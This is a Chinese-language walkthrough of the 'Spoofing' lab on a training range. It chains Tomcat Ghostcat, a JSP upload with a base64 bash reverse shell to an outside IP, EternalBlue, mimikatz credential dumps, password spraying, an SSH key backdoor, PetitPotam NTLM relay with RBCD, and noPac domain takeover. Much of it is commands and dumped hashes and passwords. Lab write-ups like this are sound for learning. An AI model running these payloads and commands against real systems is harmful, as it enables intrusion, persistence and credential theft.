春秋云境-Spoofing flag01 fscan扫描开放了8080和8009
进来是个后台管理页面
扫目录发现是tomcat
http://39.101.188.249:8080/docs/
版本是9.0.30
搜索发现存在CNVD-2020-10487漏洞
之前iscc打过,直接利用这个脚本打
但是我们需要有恶意文件才能包含从而获取权限,因此我们需要找到一个上传接口,正好在web.xml中发现接口UploadServlet,访问发现是上传文件接口,上传反弹shell文件,内容如下
1 <% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDAuMTQzLjE0My4xMzAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); out.print("</pre>"); } %>
后补的:
flag02 上frp fscan
172.22.11.6 DC 域控
172.22.11.45 域内机器 永恒之蓝
172.22.11.26 域内机器
172.22.11.76 入口机
其中一台有ms17-010 永恒之蓝
1 2 3 4 5 6 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set RHOSTS 172.22.11.45 run shell cat C:/users/administrator/flag/flag02.txt
flag03 1 2 3 load kiwi hashdump creds_all
1 2 3 4 5 Username Domain NTLM SHA1 -------- ------ ---- ---- XR-DESKTOP$ XIAORANG 4000cd5aa5e32609adb5a74594cf2626 75c5530d1c25250c4eaae71f829f4d2e80daf034 yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f
得到了机器账户和yangmei的哈希
1 2 3 4 5 6 7 Username Domain Password -------- ------ -------- (null) (null) (null) xr-desktop$ XIAORANG.LAB (null) xr-desktop$ XIAORANG.LAB AM&:=4^NSbVU\Ke-XklyW8eB"?'5ldu/0z9y@Yt3*5I*.>MNcU#>Scjm$q+3EM KoU-C&D\.,-I -,$40cEKUJcI8@yCCvf!b)aP<kkc*3!?*VY\I<xW($)o yangmei XIAORANG.LAB xrihGHgoNZQ
1 proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav 2>/dev/null
用前面拿到的密码进行密码喷洒
发现在26这台机器上存在Webclient服务
大体思路
1 2 3 4 1、用petitpotam触发目标访问HTTP服务 2、目标使用webclient携带NTLM认证访问中继,并将NTLM认证中继到LDAP 3、获取到机器账号身份 4、以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性,从而允许我们访问到目标机器。
需要打中继攻击
中继环境配置
我们需要把服务器的80端口,转发到客户端本地的80端口。
因此先配置下密钥,写下后门。
1 2 3 4 5 6 攻击机 ssh-keygen -t rsa -b 4096 cat id_rsa.pub 靶机 echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCVKWVuc27w8xvy3eGLl6YWQQ6DXcvwivYL5VRp1bO6EZvgIQqu0X3zUzVW4igVo/0uDuKcckAX3QNDnw2Xxx96S3OlB1gkKYM4Bml/GOo7fP2J7F602VOJwnQnF6j2IkflPV1cIpNnwGkKBhSAz15crJ5sX6dObRf3AzviRDuZ2m2ZS3WpEQSfO9UVxL5C+ls3JyTrwBdYTOr2qjnr3PnDFiNMiMnVNhoWaKTikd3BzA++hY4LMVlyE6XW3x0m3P5REdv1dfLWuQ35vHXyazUF1rd/t3/wWGkzl2JnIJfjC4NcxlAnr8Jif0unWapU8v0dzXPIn0PKvDqZAMaAbhoqvb5MBFPxpybvRS1iibZQJHcAdrH9FR8RH6yY/ddKk+epxMqlVGqMRzEzBA5Fc5PUaB6BMi16aXLqzshapduHysa1Uq/3lmr/cWlC9VKRu1qTF5TXbjTs17pgBDmH3tuSNY8PdlkhURLGDpnYNPUvF2hobeIDcnZM3zYDBuQhb9Hp5KW8I+J9Y4CfL+4ElRZh5EI5Ya+fyG6gVLSUhqvAg3TVbJmgDUuPEub6b1cSewy6GqPpI0gOwMMaa5S3/pq7N/A8m8E7QjRYiUg0cjUaxvR1gMSgWsufePG3bFNQDoTFzDlUAxOmQ9JKP3CYaJykCvnXbSaic7qH9Nm33xdlew== root@kali" >/root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys
由于SSH的反向端口在转发监听的时候只会监听127.0.0.1,所以这里需要稍微改动
即 使反向在转发79端口指定监听全部,端口79仍绑定在127.0.0.1。
因此我们可以多加一条,将流量0.0.0.0:80转发到127.0.0.1:79,再反向转发回客户端本地的80,变相使得80监听在0.0.0.0
在入口机使用,也就是管理后台对应的服务器
1 2 ssh -i id_rsa root@39.99.243.184 -D 140.143.143.130:5004 -R \*:79:127.0.0.1:80 nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
接下来本地开启ntlmrelayx,利用前面抓到的XR-Desktop作为恶意账户设置RBCD
1 proxychains -q impacket-ntlmrelayx -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
接着使用PetitPotam触发XR-LCM3AE8B强制认证到172.22.11.26
1 proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
获得认证
申请票据
1 proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :4000cd5aa5e32609adb5a74594cf2626 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
导入票据
1 2 3 4 export KRB5CCNAME=administrator.ccache sudo vim /etc/hosts #填入内容如下 172.22.11.26XR-LCM3AE8B.xiaorang.lab
利用票据进行横向
flag04 添加用户
1 2 net user Q1ngchuan 123456Aa@ /add net localgroup administrators Q1ngchuan /add
远程连接上
利用猕猴桃抓取密码
1 2 privilege::debug sekurlsa::logonpasswords
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 Authentication Id : 0 ; 59623 (00000000:0000e8e7) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2024/9/24 21:31:11 SID : S-1-5-90-0-1 msv : [00000003] Primary * Username : XR-LCM3AE8B$ * Domain : XIAORANG * NTLM : 4f4f02c4e678c1d10ff790b9b1f2c414 * SHA1 : 5731f84dc19df7f98ca183fb3113c27c5141bc57 tspkg : wdigest : * Username : XR-LCM3AE8B$ * Domain : XIAORANG * Password : (null) kerberos : * Username : XR-LCM3AE8B$ * Domain : xiaorang.lab Authentication Id : 0 ; 900744 (00000000:000dbe88) Session : RemoteInteractive from 2 User Name : zhanghui Domain : XIAORANG Logon Server : XIAORANG-DC Logon Time : 2024/9/24 21:34:53 SID : S-1-5-21-3598443049-773813974-2432140268-1133 msv : [00000003] Primary * Username : zhanghui * Domain : XIAORANG * NTLM : 1232126b24cdf8c9bd2f788a9d7c7ed1 * SHA1 : f3b66ff457185cdf5df6d0a085dd8935e226ba65 * DPAPI : 4bfe751ae03dc1517cfb688adc506154 tspkg : wdigest : * Username : zhanghui * Domain : XIAORANG * Password : (null) kerberos : * Username : zhanghui * Domain : XIAORANG.LAB * Password : (null) ssp : credman :
Nopac 题目描述中提到了noPac,搜索发现这篇文章https://xz.aliyun.com/t/10694
漏洞原理大致如下
1 2 3 1、我们创建了与DC机器账户名字相同的机器账号(不以$结尾,与CVE-2021-42278结合,此时AD未对域内机器用户名做验证) 2、账户请求TGT后,更改账户名字,通过S4U2Self申请TGS 票据 3、DC在TGS_REP阶段,这个账户不存在,DC用自己的密钥加密TGS 票据,提供一个属于该账号的PAC,此时得到一个高权限的ST
大致了解了原理,我们接下来进行实践
使用刚刚抓到的账号尝试攻击
1 proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
总结 这个靶场真是难到我了
中继攻击还麻烦到chu0师傅给我讲解,感谢感谢!!
这里写一下中继攻击,在vps上做中继
我们这时候已经拿下了39.99.xx.xxx,但由于其内网主机中的172.22.11.26在内网,我们无法访问到其80端口,由于NTML认证要通过80端口,我们无法实现,就想要办法吧其流量转发出来
在本地的kali上利用植入的后门连上服务器
1 2 3 4 ssh -i id_rsa root@39.99.243.184 -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80 将被拿下主机39.99.xx.xxx的80端口上的流量转79端口上,在传回vps nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:vpsip:79 & 让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
挂上frp,vps也挂着frp即可
然后通过 PetitPotam 强制39.99.xx.xxx对172.22.11.26的80端口执行身份验证验证请求将通过端口转发到vps上并由 ntlmrelayx.py 接收